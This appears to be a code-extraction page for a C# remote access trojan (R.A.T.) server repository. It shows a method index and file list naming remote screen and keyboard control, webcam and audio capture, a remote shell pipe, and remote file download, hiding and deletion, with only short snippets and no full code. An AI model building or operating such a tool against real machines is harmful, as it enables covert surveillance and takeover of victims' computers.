method PwuNotification (line 3036) | private void PwuNotification()
method LvAddItem (line 3057) | private void LvAddItem(ListView lv, ListViewItem lvi, int group = -1)
method AddCam (line 3086) | private void AddCam(String id, String name)
method AddAudio (line 3116) | private void AddAudio(String name, String ch)
method SwitchTab (line 3142) | public void SwitchTab(TabPage tab)
method SetLog (line 3165) | private void SetLog(String dump)
method LvClear (line 3188) | private void LvClear(ListView lv)
method GetParentDirectory (line 3211) | private void GetParentDirectory(String directory)
method Msgbox (line 3245) | private DialogResult Msgbox(String title, String text, MessageBoxButto...
method StartEditor (line 3270) | private void StartEditor(String content, Form1 parent)
method Convert (line 3289) | private string Convert(string byt)
method AddFileCallback (line 3348) | private void AddFileCallback(String name, String size, String crtime, ...
method Append (line 3379) | private void Append(String text)
method SetprocInfoCallback (line 3412) | private void SetprocInfoCallback(String name, String responding, Strin...
method SetlvClientInfoCallback (line 3454) | private void SetlvClientInfoCallback(String name, String ip, String ti...
method SetClientScreenCountCallBack (line 3481) | private void SetClientScreenCountCallBack(char screenCount)
method TSItemRemoved (line 3503) | private void TSItemRemoved(object sender, ToolStripItemEventArgs e)
method TSItemAdded (line 3517) | private void TSItemAdded(object sender, ToolStripItemEventArgs e)
method UpdateValues (line 3530) | private void UpdateValues(object sender, EventArgs e)
method ExecuteToolStrip (line 3703) | public void ExecuteToolStrip(String name)
method GetValue (line 3728) | public static String GetValue(String name)
method GetSelectedIndex (line 3749) | public int GetSelectedIndex(String name)
method GetSelectedItem (line 3769) | public String GetSelectedItem(String name)
method GetChecked (line 3789) | public bool GetChecked(String name)
method GetItems (line 3822) | public String[] GetItems(String name, String mode)
method tabControl1_Click (line 3869) | private void tabControl1_Click(object sender, EventArgs e)
method RWind (line 3887) | private void RWind(object sender, EventArgs e)
method button1_Click (line 3906) | private void button1_Click(object sender, EventArgs e)
method button2_Click (line 3955) | private void button2_Click(object sender, EventArgs e)
method button3_Click (line 3970) | private void button3_Click(object sender, EventArgs e)
method button4_Click (line 4042) | private void button4_Click(object sender, EventArgs e)
method button5_Click (line 4053) | private void button5_Click(object sender, EventArgs e)
method button6_Click (line 4086) | private void button6_Click(object sender, EventArgs e)
method button12_Click (line 4097) | private void button12_Click(object sender, EventArgs e)
method button13_Click (line 4108) | private void button13_Click(object sender, EventArgs e)
method button7_Click (line 4119) | private void button7_Click(object sender, EventArgs e)
method button8_Click (line 4143) | private void button8_Click(object sender, EventArgs e)
method button9_Click (line 4167) | private void button9_Click(object sender, EventArgs e)
method button10_Click (line 4192) | private void button10_Click(object sender, EventArgs e)
method button11_Click (line 4216) | private void button11_Click(object sender, EventArgs e)
method refreshToolStripMenuItem1_Click (line 4240) | private void refreshToolStripMenuItem1_Click(object sender, EventArgs e)
method killToolStripMenuItem_Click (line 4252) | private void killToolStripMenuItem_Click(object sender, EventArgs e)
method button14_Click (line 4272) | private void button14_Click(object sender, EventArgs e)
method button15_Click (line 4291) | private void button15_Click(object sender, EventArgs e)
method textBox5_KeyDown (line 4314) | private void textBox5_KeyDown(object sender, KeyEventArgs e)
method listDrivesToolStripMenuItem_Click (line 4348) | private void listDrivesToolStripMenuItem_Click(object sender, EventArg...
method enterDirectoryToolStripMenuItem_Click (line 4359) | private void enterDirectoryToolStripMenuItem_Click(object sender, Even...
method toolStripMenuItem1_Click (line 4386) | private void toolStripMenuItem1_Click(object sender, EventArgs e)
method moveToolStripMenuItem_Click (line 4402) | private void moveToolStripMenuItem_Click(object sender, EventArgs e)
method copyToolStripMenuItem_Click (line 4416) | private void copyToolStripMenuItem_Click(object sender, EventArgs e)
method currentDirectoryToolStripMenuItem_Click (line 4430) | private void currentDirectoryToolStripMenuItem_Click(object sender, Ev...
method selectedDirectoryToolStripMenuItem_Click (line 4442) | private void selectedDirectoryToolStripMenuItem_Click(object sender, E...
method executeToolStripMenuItem_Click (line 4462) | private void executeToolStripMenuItem_Click(object sender, EventArgs e)
method hideToolStripMenuItem_Click (line 4477) | private void hideToolStripMenuItem_Click(object sender, EventArgs e)
method showToolStripMenuItem_Click (line 4492) | private void showToolStripMenuItem_Click(object sender, EventArgs e)
method deleteToolStripMenuItem_Click (line 4507) | private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
method renameToolStripMenuItem_Click (line 4523) | private void renameToolStripMenuItem_Click(object sender, EventArgs e)
method fileToolStripMenuItem_Click (line 4544) | private void fileToolStripMenuItem_Click(object sender, EventArgs e)
method directoryToolStripMenuItem_Click (line 4561) | private void directoryToolStripMenuItem_Click(object sender, EventArgs e)
method editToolStripMenuItem_Click (line 4578) | private void editToolStripMenuItem_Click(object sender, EventArgs e)
method currentDirectoryToolStripMenuItem1_Click (line 4598) | private void currentDirectoryToolStripMenuItem1_Click(object sender, E...
method selectedDirectoryToolStripMenuItem1_Click (line 4617) | private void selectedDirectoryToolStripMenuItem1_Click(object sender, ...
method downloadToolStripMenuItem_Click (line 4639) | private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
method button16_Click (line 4663) | private void button16_Click(object sender, EventArgs e)
method button17_Click (line 4673) | private void button17_Click(object sender, EventArgs e)
method button18_Click (line 4683) | private void button18_Click(object sender, EventArgs e)
method button19_Click (line 4693) | private void button19_Click(object sender, EventArgs e)
method btnStartRemoteScreen_Click (line 4703) | private void btnStartRemoteScreen_Click(object sender, EventArgs e)
method btnStopRemoteScreen_Click (line 4726) | private void btnStopRemoteScreen_Click(object sender, EventArgs e)
method pictureBox1_MouseMove (line 4774) | private async void pictureBox1_MouseMove(object sender, MouseEventArgs e)
method RMoveTickEventHandler (line 4818) | private void RMoveTickEventHandler(object sender, EventArgs e)
method checkBoxrMouse_CheckedChanged (line 4835) | private void checkBoxrMouse_CheckedChanged(object sender, EventArgs e)
method pictureBox1_MouseDown (line 4869) | private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
method pictureBox1_MouseUp (line 4889) | private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
method checkBoxrKeyboard_CheckedChanged (line 4910) | private void checkBoxrKeyboard_CheckedChanged(object sender, EventArgs e)
method btnFullRemoteScreen_Click (line 4927) | private void btnFullRemoteScreen_Click(object sender, EventArgs e)
method button24_Click (line 4941) | private void button24_Click(object sender, EventArgs e)
method button25_Click (line 4951) | private void button25_Click(object sender, EventArgs e)
method button26_Click (line 4988) | private void button26_Click(object sender, EventArgs e)
method button27_Click (line 4998) | private void button27_Click(object sender, EventArgs e)
method button29_Click (line 5031) | private void button29_Click(object sender, EventArgs e)
method button28_Click (line 5043) | private void button28_Click(object sender, EventArgs e)
method button30_Click (line 5060) | private void button30_Click(object sender, EventArgs e)
method button32_Click (line 5077) | private void button32_Click(object sender, EventArgs e)
method button31_Click (line 5087) | private void button31_Click(object sender, EventArgs e)
method trackBar1_Scroll (line 5097) | private void trackBar1_Scroll(object sender, EventArgs e)
method pictureBox1_Click (line 5133) | private void pictureBox1_Click(object sender, EventArgs e)
method txtBControlKeyboard_KeyDown (line 5143) | private void txtBControlKeyboard_KeyDown(object sender, KeyEventArgs e)
method btnStartTaskManager_Click (line 5301) | private void btnStartTaskManager_Click(object sender, EventArgs e)
method btnCountScreens_Click (line 5311) | private void btnCountScreens_Click(object sender, EventArgs e)
method listView1_SelectedIndexChanged (line 5322) | private void listView1_SelectedIndexChanged(object sender, EventArgs e)
method button33_Click (line 5351) | private void button33_Click(object sender, EventArgs e)
method button34_Click (line 5361) | private void button34_Click(object sender, EventArgs e)
method listBox1_SelectedIndexChanged (line 5376) | private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
method button37_Click (line 5410) | private void button37_Click(object sender, EventArgs e)
method button38_Click (line 5428) | private void button38_Click(object sender, EventArgs e)
method button36_Click (line 5453) | private void button36_Click(object sender, EventArgs e)
method button35_Click (line 5474) | private void button35_Click(object sender, EventArgs e)
method button20_Click (line 5501) | private void button20_Click(object sender, EventArgs e)
method button23_Click (line 5516) | private void button23_Click(object sender, EventArgs e)
method button39_Click (line 5532) | private void button39_Click(object sender, EventArgs e)
class AudioStream (line 5556) | public class AudioStream
method Init (line 5570) | public void Init()
method BufferPlay (line 5582) | public void BufferPlay(byte[] recv)
method Destroy (line 5591) | public void Destroy()
class RouteWindow (line 5604) | public class RouteWindow
method RoutePage (line 5623) | public void RoutePage()
method OnKeyDown (line 5902) | private void OnKeyDown(object sender, KeyEventArgs e)
method OnRouteDestroy (line 5927) | private void OnRouteDestroy(object sender, FormClosingEventArgs e)
method OnItemChange (line 5962) | private void OnItemChange(object sender, EventArgs e)
method GetignoreState (line 5979) | private bool GetignoreState(String name)
method OnCheck (line 6000) | private void OnCheck(object sender, EventArgs e)
method OnTextChange (line 6013) | private void OnTextChange(object sender, EventArgs e)
method OnIndexChange (line 6027) | private void OnIndexChange(object sender, EventArgs e)
method OnClick (line 6059) | private void OnClick(object sender, EventArgs e)
method WaitForTabChange (line 6096) | private void WaitForTabChange(object sender, EventArgs e)
method UpdateUI (line 6130) | private void UpdateUI(object sender, EventArgs e)
method GetControlType (line 6336) | private String GetControlType(String name)
FILE: TutServer/Program.cs
class Program (line 9) | static class Program
method Main (line 14) | [STAThread]
FILE: TutServer/Properties/Resources.Designer.cs
class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource...
method Resources (line 32) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic...
FILE: TutServer/Properties/Settings.Designer.cs
class Settings (line 15) | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
FILE: TutServer/RDesktop.Designer.cs
class RDesktop (line 3) | partial class RDesktop
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: TutServer/RDesktop.cs
class RDesktop (line 13) | public partial class RDesktop : Form
method RDesktop (line 41) | public RDesktop()
method pictureBox1_MouseDown (line 55) | private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
method pictureBox1_MouseUp (line 76) | private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
method pictureBox1_MouseMove (line 96) | private async void pictureBox1_MouseMove(object sender, MouseEventArgs e)
method RDesktop_KeyDown (line 140) | private void RDesktop_KeyDown(object sender, KeyEventArgs e)
method RDesktop_Shown (line 302) | private void RDesktop_Shown(object sender, EventArgs e)
method UpdateImage (line 318) | private void UpdateImage(object sender, EventArgs e)
method closeWindowToolStripMenuItem_Click (line 336) | private void closeWindowToolStripMenuItem_Click(object sender, EventAr...
method ScreenFPS (line 360) | public void ScreenFPS()
FILE: TutServer/remotePipe.Designer.cs
class RemotePipe (line 3) | partial class RemotePipe
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: TutServer/remotePipe.cs
class RemotePipe (line 10) | public partial class RemotePipe : Form
method RemotePipe (line 40) | public RemotePipe(string pipeName, Form1 context)
method textBox1_KeyDown (line 54) | private void textBox1_KeyDown(object sender, KeyEventArgs e)
method SetText (line 75) | private void SetText(string text)
method WriteOutput (line 91) | public void WriteOutput(string output)
method remotePipe_FormClosing (line 101) | private void remotePipe_FormClosing(object sender, FormClosingEventArg...
Condensed preview — 30 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,475K chars).
[
{
"path": ".gitattributes",
"chars": 2518,
"preview": "###############################################################################\n# Set default behavior to automatically "
},
{
"path": ".gitignore",
"chars": 4600,
"preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User"
},
{
"path": "CODE_OF_CONDUCT.md",
"chars": 3265,
"preview": "# Contributor Covenant Code of Conduct\r\n\r\n## Our Pledge\r\n\r\nIn the interest of fostering an open and welcoming environmen"
},
{
"path": "CONTRIBUTING.md",
"chars": 1291,
"preview": "# Contribution\r\n**Thank you for considering contribution to the C\\# R.A.T Server Project!** \r\n## How to contribute?\r\nIt"
},
{
"path": "LICENSE",
"chars": 178,
"preview": "Advanced Hacking 101 Project Licence\r\nshort and simple\r\nYou are free to do anything with this project, as long as you cr"
},
{
"path": "README.md",
"chars": 1585,
"preview": "# C\\# R.A.T Server\nThis is the server program of the c# R.A.T. \nYou will need to run this program on your computer, and"
},
{
"path": "TutServer/App.config",
"chars": 273,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n <startup> \n <supportedRuntime version=\"v4.0\" sku=\".N"
},
{
"path": "TutServer/Edit.Designer.cs",
"chars": 7079,
"preview": "namespace TutServer\n{\n partial class Edit\n {\n /// <summary>\n /// Required designer variable.\n "
},
{
"path": "TutServer/Edit.cs",
"chars": 6871,
"preview": "using System; //For basic system functions\nusing System.Collections.Generic; //For list\nusing System.Drawing; //For for"
},
{
"path": "TutServer/Edit.resx",
"chars": 5696,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "TutServer/Form1.Designer.cs",
"chars": 116006,
"preview": "namespace TutServer\n{\n partial class Form1\n {\n /// <summary>\n /// Required designer variable.\n "
},
{
"path": "TutServer/Form1.cs",
"chars": 295311,
"preview": "using System; //For basic system functions\nusing System.Collections.Generic; //For List and Dictionary objects\nusing Sy"
},
{
"path": "TutServer/Form1.resx",
"chars": 6102,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "TutServer/Program.cs",
"chars": 508,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Threading.Tasks;\nusing System.Windows.F"
},
{
"path": "TutServer/Properties/AssemblyInfo.cs",
"chars": 1391,
"preview": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Infor"
},
{
"path": "TutServer/Properties/Resources.Designer.cs",
"chars": 2775,
"preview": "//------------------------------------------------------------------------------\n// <auto-generated>\n// This code w"
},
{
"path": "TutServer/Properties/Resources.resx",
"chars": 5494,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "TutServer/Properties/Settings.Designer.cs",
"chars": 1064,
"preview": "//------------------------------------------------------------------------------\n// <auto-generated>\n// This code w"
},
{
"path": "TutServer/Properties/Settings.settings",
"chars": 240,
"preview": "<?xml version='1.0' encoding='utf-8'?>\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\""
},
{
"path": "TutServer/RDesktop.Designer.cs",
"chars": 4664,
"preview": "namespace TutServer\n{\n partial class RDesktop\n {\n /// <summary>\n /// Required designer variable.\n "
},
{
"path": "TutServer/RDesktop.cs",
"chars": 14902,
"preview": "using System; //Fo basic system functions\nusing System.Drawing; //For form graphics\nusing System.Threading.Tasks; //For"
},
{
"path": "TutServer/RDesktop.resx",
"chars": 6081,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "TutServer/TutServer.csproj",
"chars": 5125,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.micros"
},
{
"path": "TutServer/app.manifest",
"chars": 1119,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n <ass"
},
{
"path": "TutServer/bin/Debug/NAudio.xml",
"chars": 919251,
"preview": "<?xml version=\"1.0\"?>\n<doc>\n <assembly>\n <name>NAudio</name>\n </assembly>\n <members>\n <member nam"
},
{
"path": "TutServer/remotePipe.Designer.cs",
"chars": 2694,
"preview": "namespace TutServer\n{\n partial class RemotePipe\n {\n /// <summary>\n /// Required designer variable.\n"
},
{
"path": "TutServer/remotePipe.cs",
"chars": 3676,
"preview": "using System.Windows.Forms; //For form intercation and controls\n\n#pragma warning disable IDE1006\n\nnamespace TutServer /"
},
{
"path": "TutServer/remotePipe.resx",
"chars": 5696,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "TutServer.sln",
"chars": 972,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2013\nVisualStudioVersion = 12.0.21005.1\nMi"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the AdvancedHacker101/C-Sharp-R.A.T-Server GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 30 files (1.4 MB), approximately 306.6k tokens, and a symbol index with 277 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.